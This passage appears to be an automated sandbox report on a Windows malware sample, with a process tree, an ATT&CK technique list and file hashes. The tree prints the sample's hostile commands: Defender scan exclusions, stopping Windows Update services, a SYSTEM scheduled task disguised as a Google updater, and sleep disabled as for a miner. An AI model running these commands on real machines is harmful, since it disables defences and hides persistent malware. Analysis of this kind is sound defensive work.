"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3508 /prefetch:3
4⤵
PID:5576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3520 /prefetch:8
4⤵
PID:7104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3444 /prefetch:2
4⤵
PID:5564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
4⤵
PID:1196

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
4⤵
PID:1260

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
4⤵
PID:2604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
4⤵
PID:5536

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:8
4⤵
PID:3544

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:8
4⤵
PID:5672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
4⤵
PID:2092

C:\Users\Admin\AppData\Local\Temp\55D3.exe
C:\Users\Admin\AppData\Local\Temp\55D3.exe
2⤵
- Executes dropped EXE
PID:4548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:488

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:5108

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:6156

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4748

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:6928

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Executes dropped EXE
- Launches sc.exe
PID:4580

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
- Executes dropped EXE
PID:3572

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:6508

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4152

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:7008

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:6716

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:6364

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
PID:4112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:6708

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:6868

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:5352

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1840

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:4084

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:6648

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:5648

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:7108

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:6244

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:3940

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:5632

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:1780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:548

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
PID:5500

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2280

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5744

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6276

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5812

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7140

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:6944

C:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exe
C:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exe
1⤵
PID:5656

C:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exe
C:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exe
2⤵
PID:3684

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
3⤵
PID:4580

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
4⤵
PID:6760

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:3696

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe
Filesize
101KB

MD5
89d41e1cf478a3d3c2c701a27a5692b2

SHA1
691e20583ef80cb9a2fd3258560e7f02481d12fd

SHA256
dc5ac8d4d6d5b230ab73415c80439b4da77da1cfde18214ef601897f661abdac

SHA512
5c9658f6ca0d8d067bfc76072c438ac13daa12d8c1fef33369e1bc36a592d160a2bdb22b4f3eed73e8670bb65107a4134e18e6dc604897a80cc0768769f475dc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\65bf9ce1-802f-438c-ac19-f35e4743f2a8.tmp
Filesize
10KB

MD5
433fb50ef321b6c6c03f0a5b8f72aa05

SHA1
3bd7b47e343150d5566bc9aa9655b229fab532f1

SHA256
e7c844ffab08ae02f0db3eedc3efc7378c0b0b384c7b671a2da0df2bfbeffc04

SHA512
6cb33c7df8a67222f2d61782255ec7858a6ce1428a1a0ca52063656cc49ddb2d661388f94ad4eb21b09de86691d2c88af446c0b01319c431d9cb0e3c219bc669

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
e33767f943d86db2ef93b242b04d2b84

SHA1
2a77e11fbd386c38560b9bb6d6eb2708090f0c17

SHA256
66230cd6e4071e47aa4ac1914ccd59509ca1946fce272e9d4af0fda419a96c95

SHA512
c404dfe0237fec6d1eb8a9e3e00584388d8dd2e24bbc903cee6a6713f6d16a6895b89d694700316de2c5b615a2ff475095a5267c81cb8249494ab25120b125bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
510933ac10d83a60ca575fe02c4f3b69

SHA1
83b58c75efa0cd76ece018c2f0cdf5de47d3237d

SHA256
6832f64054fc3c6c902200e5855086f144c4e7c3aea299210a96c439e81eb13c

SHA512
c8087930fccad466fcdb8c70a20234e7d8f30b74c02784ebf33cface164ff5ea6e634aec2c3fd34314936a01941ba51935d65ce557f0bf7190b0f233af87954f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
38c73375cadbfed84fc3b8973f3bb346

SHA1
0bc038a4cb1075be034fa7a7e3221b228cea9df1

SHA256
dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158

SHA512
236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
38c73375cadbfed84fc3b8973f3bb346

SHA1
0bc038a4cb1075be034fa7a7e3221b228cea9df1

SHA256
dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158

SHA512
236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
38c73375cadbfed84fc3b8973f3bb346

SHA1
0bc038a4cb1075be034fa7a7e3221b228cea9df1

SHA256
dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158

SHA512
236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
38c73375cadbfed84fc3b8973f3bb346

SHA1
0bc038a4cb1075be034fa7a7e3221b228cea9df1

SHA256
dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158

SHA512
236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
38c73375cadbfed84fc3b8973f3bb346

SHA1
0bc038a4cb1075be034fa7a7e3221b228cea9df1

SHA256
dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158

SHA512
236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a556bb6f129e6bd2dcfb5e29b7483f3c

SHA1
54f04d95d772d4837334739544f6871c10f24110

SHA256
c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c

SHA512
405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1df5b890-1eb4-4fff-900e-af4f2e8557c3.tmp
Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002
Filesize
20KB

MD5
923a543cc619ea568f91b723d9fb1ef0

SHA1
6f4ade25559645c741d7327c6e16521e43d7e1f9

SHA256
bf7344209edb1be5a2886c425cf6334a102d76cbea1471fd50171e2ee92877cd

SHA512
a4153751761cd67465374828b0514d7773b8c4ed37779d1ecfd4f19be4faa171585c8ee0b4db59b556399d5d2b9809ba87e04d4715e9d090e1f488d02219d555

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003
Filesize
21KB

MD5
7d75a9eb3b38b5dd04b8a7ce4f1b87cc

SHA1
68f598c84936c9720c5ffd6685294f5c94000dff

SHA256
6c24799e77b963b00401713a1dbd9cba3a00249b9363e2c194d01b13b8cdb3d7

SHA512
cf0488c34a1af36b1bb854dea2decfc8394f47831b1670cab3eed8291b61188484cc8ab0a726a524ecdd20b71d291bcccbc2ce999fd91662aca63d2d22ed0d9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003c
Filesize
186KB

MD5
9f61d7b1098e9a21920cf7abd68ca471

SHA1
c2a75ba9d5e426f34290ebda3e7b3874a4c26a50

SHA256
2c209fbd64803b50d0275cfd977c57965ee91410ecf0cafa70d9f249d6357c71

SHA512
3d4f945783809a88e717f583f8805da1786770d024897c8a21d758325bcd4743ff48e32a275fe2f04236248393e580d40ae5caf5d3258054ea94d20b65b2c029

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000045
Filesize
33KB

MD5
09a51b4e0d6e59ba0955364680a41cd6

SHA1
0c9bf805aa43f66b8c7854ccf7c2e2873050a8c2

SHA256
c96a6b48cc4325a0ea43e58c22eefc3713d8720c13ed3cdabc67372d9e1b470d

SHA512
bfa291e26fdddea478b3cc96ce31ca02993194bdf73303f73ee2d021287206fb359e17fc970e7e124e3108e72877a1edc08e8848181c303f0b251379cfef0f1f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000048
Filesize
228KB

MD5
bd3db8aee481dbe42ecb0a1cfc5f2f96

SHA1
3de1107414c4714537fba3511122e9fa88894f35

SHA256
b82ea286491eaa5370e997311b41b5fc1bbc774b40e9750ebfeef27933426083

SHA512
